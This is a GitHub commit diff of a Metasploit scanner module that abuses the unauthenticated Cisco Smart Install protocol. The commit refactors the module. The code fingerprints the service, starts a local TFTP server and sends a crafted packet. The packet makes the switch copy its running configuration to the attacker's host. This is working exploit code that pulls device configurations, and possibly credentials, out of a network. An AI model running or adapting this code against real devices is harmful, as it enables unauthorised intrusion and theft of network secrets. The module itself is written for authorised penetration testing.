Skip to content

Commit 1087b8c

Browse files
author
Austin
authored
cleanup
1 parent 40bb622 commit 1087b8c

File tree

1 file changed

+28
-36
lines changed

1 file changed

+28
-36
lines changed

modules/auxiliary/scanner/misc/cisco_smart_install.rb

Lines changed: 28 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -48,18 +48,29 @@ def initialize(info = {})
4848
)
4949
end
5050

51-
def start_tftp(req_type)
51+
# thanks to https://github.com/Cisco-Talos/smi_check/blob/master/smi_check.py#L52-L53
52+
SMI_PROBE = "\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00".freeze
53+
SMI_RE = /^\x00{3}\x04\x00{7}\x03\x00{3}\x08\x00{3}\x01\x00{4}$/
54+
def smi?
55+
sock.puts(SMI_PROBE)
56+
response = sock.get_once(-1)
57+
if response
58+
if SMI_RE.match(response)
59+
print_good("Fingerprinted the Cisco Smart Install protocol")
60+
return true
61+
else
62+
vprint_status("No match for '#{response}'")
63+
end
64+
else
65+
vprint_status("No response")
66+
end
67+
end
68+
69+
def start_tftp
5270
print_status("Starting TFTP Server...")
5371
@tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self })
54-
case
55-
when req_type == "PUT"
56-
@tftp.incoming_file_hook = Proc.new{|info| process_incoming(info) }
57-
@tftp.start
58-
when req_type == "GET" # in progress of writing "UPLOAD" function
59-
config = @config.read(@config.stat.size)
60-
@tftp.register_file("#{Rex::Text.rand_text_alpha}.conf", config)
61-
@tftp.start
62-
end
72+
@tftp.incoming_file_hook = Proc.new{|info| process_incoming(info) }
73+
@tftp.start
6374
add_socket(@tftp.sock)
6475
@main_thread = ::Thread.current
6576
end
@@ -83,6 +94,7 @@ def cleanup
8394
# Callback for incoming files
8495
#
8596
def process_incoming(info)
97+
@config_recieved = true
8698
return if not info[:file]
8799
name = info[:file][:name]
88100
data = info[:file][:data]
@@ -101,30 +113,12 @@ def decode_hex(string)
101113
string.scan(/../).map { |x| x.hex }.pack('c*')
102114
end
103115

104-
def craft_packet
116+
def send_packet
105117
copy_config = "copy system:running-config tftp://#{@lhost}/#{Rex::Text.rand_text_alpha(8)}"
106118
packet_header = '00000001000000010000000800000408000100140000000100000000fc99473786600000000303f4'
107119
packet = (decode_hex(packet_header) + copy_config + decode_hex(('00' * (336 - copy_config.length)))) + (decode_hex(('00' * (336)))) + (decode_hex(('00' * 336)))
108-
return packet
109-
end
110-
111-
112-
# thanks to https://github.com/Cisco-Talos/smi_check/blob/master/smi_check.py#L52-L53
113-
SMI_PROBE = "\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00".freeze
114-
SMI_RE = /^\x00{3}\x04\x00{7}\x03\x00{3}\x08\x00{3}\x01\x00{4}$/
115-
def smi?
116-
sock.puts(SMI_PROBE)
117-
response = sock.get_once(-1)
118-
if response
119-
if SMI_RE.match(response)
120-
print_good("Fingerprinted the Cisco Smart Install protocol")
121-
return true
122-
else
123-
vprint_status("No match for '#{response}'")
124-
end
125-
else
126-
vprint_status("No response")
127-
end
120+
print_status("Requesting configuration from device...")
121+
sock.put(packet)
128122
end
129123

130124
def run_host(ip)
@@ -135,17 +129,15 @@ def run_host(ip)
135129
connect
136130
return unless smi?
137131
when action.name == 'DOWNLOAD'
138-
start_tftp("PUT")
132+
start_tftp
139133
connect
140134
return unless smi?
141135
disconnect # cant send any additional packets, so closing
142136
connect
143137
print_status("Waiting #{datastore['DELAY']} seconds before requesting config")
144-
Rex.sleep(datastore['DELAY'])
145-
packet = craft_packet
146-
print_status("Requesting configuration from device...")
138+
Rex.sleep(datastore['DELAY'])
139+
send_packet
147140
print_status("Waiting #{datastore['SLEEP']} seconds for configuration")
148-
sock.put(packet)
149141
Rex.sleep(datastore['SLEEP'])
150142
end
151143
rescue Rex::AddressInUse, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, \

0 commit comments

Comments
 (0)